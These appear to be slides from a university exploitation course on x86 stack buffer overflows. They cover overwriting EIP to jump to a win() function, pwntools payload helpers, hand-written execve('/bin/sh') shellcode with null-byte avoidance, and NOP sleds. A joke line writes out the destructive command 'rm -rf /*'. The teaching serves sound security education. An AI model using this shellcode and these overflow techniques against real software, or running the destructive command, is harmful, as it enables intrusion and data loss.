We expect a high standard of professionalism from you at all times while you are taking any of our courses. We expect all students to act in good faith at all times
TLDR: Don’t be a dick jerk
instructions can give context to the variables
what’s different between these instructions?
mov eax, dword ptr [esp]
mov eax, word ptr [esp]
mov eax, byte ptr [esp]
mov ax, [esp]
mov al, [esp]
some people seemed to be confused
last week we had a nice win() function to jump to
so we overwrite EIP with that function pointer
win is at 0xDEADBEEF. gimme some data though
> AAAAAAAAAAAAAAAAAAA\xEF\xBE\xAD\xDE
wait how'd you get here?
$ rm -rf /*
what does it look like in memory
0x18 [ ARGS ]
0x14 [ DEADBEEF ] <- EIP
0x10 [ 41414141 ] <- EBP
0x0C [ 41414141 ]
0x08 [ 41414141 ]
0x04 [ 41414141 ]
0x00 [ 41414141 ] <- our buffer
dont hardcode stuff
payload = fit({10: b'abcd', 100: b'efgh'}, filler=b'A')
# kinda equivalent to
payload = b'A' * 10
payload += b'abcd'
payload += b'A' * (100 - len(payload))
payload += b'efgh
# but much more readable
you should understand what the tooling does
shellcraft.i386.linux.sh()
programming in my security??
in memory
0x48 [ ARGS ] <
0x44 [ 00000030 ] <- EIP
0x40 [ AA094101 ] <- hacks nasa?
0x3C [ 12350ADA ] <- calls back to a c2
0x38 [ 48392918 ] <- deploys malware on the system
0x34 [ 59059474 ] <- pops a shell
0x30 [ 56486420 ] <- our buffer
hopefully you’ve seen them in 1521/MIPS?
mov a, b # a = b
add a, value # a += value
sub a, value # a -= value
xor a, b # a ^= b
and a, b # a &= b
push a # push a onto stack, dec esp - 4
pop a # pop into a from stack, add esp + 4
int 0x80 # syscall
basically this
eax = 0xB (11)
ebx = char __user *
ecx = char __user * __user *
edx = char __user * __user *
esi = struct pt_regs *
this is how you invoke /bin/sh
eax = OxB (important, the sycall number)
ebx = *("/bin/sh") (important, this is the program to run)
ecx = NULL (not important, this is arguments to that program)
edx = NULL (not important, this is environment variables)
esi = NULL (not important, idk what this is)
one example
mov eax, 0xB # eax = 12
mov ebx, 0x8041234 # imagine that is the pointer to /bin/sh
xor ecx, ecx # ecx = NULL
xor edx, edx # edx = NULL
xor esi, esi # esi = NULL
int 0x80 # invoke syscall
/bin/sh\00
↓↓ that's a null byte :(
hs/ | push 0x0068732F
nib/ | push 0x6E69622F
↓↓ that's not a null byte :)
hs// | push 0x68732F2F
nib/ | push 0x6E69622F
However, what happens to our null byte?
We still need to get a nullbyte onto the stack, otherwise it’ll just do
execve('/bin//sh + <some_garbage_data>')
There’s plenty of ways to do it, e.g.
xor eax, eax
push eax
call pwn
pwn:
pop ebx # ebx now stores &(pwn)
diff = binsh - pwn # we find the offset to binsh
add ebx, diff # we add the offset
## equivalently: lea ebx, [ebx + binsh - pwn]
## now ebx stores &binsh, so we call execve or w/e
binsh: .string "/bin/sh"
full payload here
call func
will push the return address (the address of the next instruction) onto the stack
the return address of call pwn
would be &pwn
now we have the address of pwn
, we just need to offset to binsh
, and use that as our address
source: here
sometimes
the start of our input the leaked address
↓↓↓↓ ↓↓↓↓
\xDE \xAD \xBE \xEF \xCA \xFE \xBA \xBE \xTR \xIV \xIA \xLl
nop
(no-operation) \x90
is a single-byte instruction, which does nothing
So what if we padded our input out with those nops
(similar to padding we used to reach EIP)
the start of our input the leaked address
↓↓↓↓ ↓↓↓↓
\x90 \x90 \x90 \x90 \x90 \x90 \x90 \xDE \xAD \xBE \xEF \xCA \xFE
sometimes you might get WAFed
\x90
(NOOP) is blockedxchg eax, eax
now it’s your turn!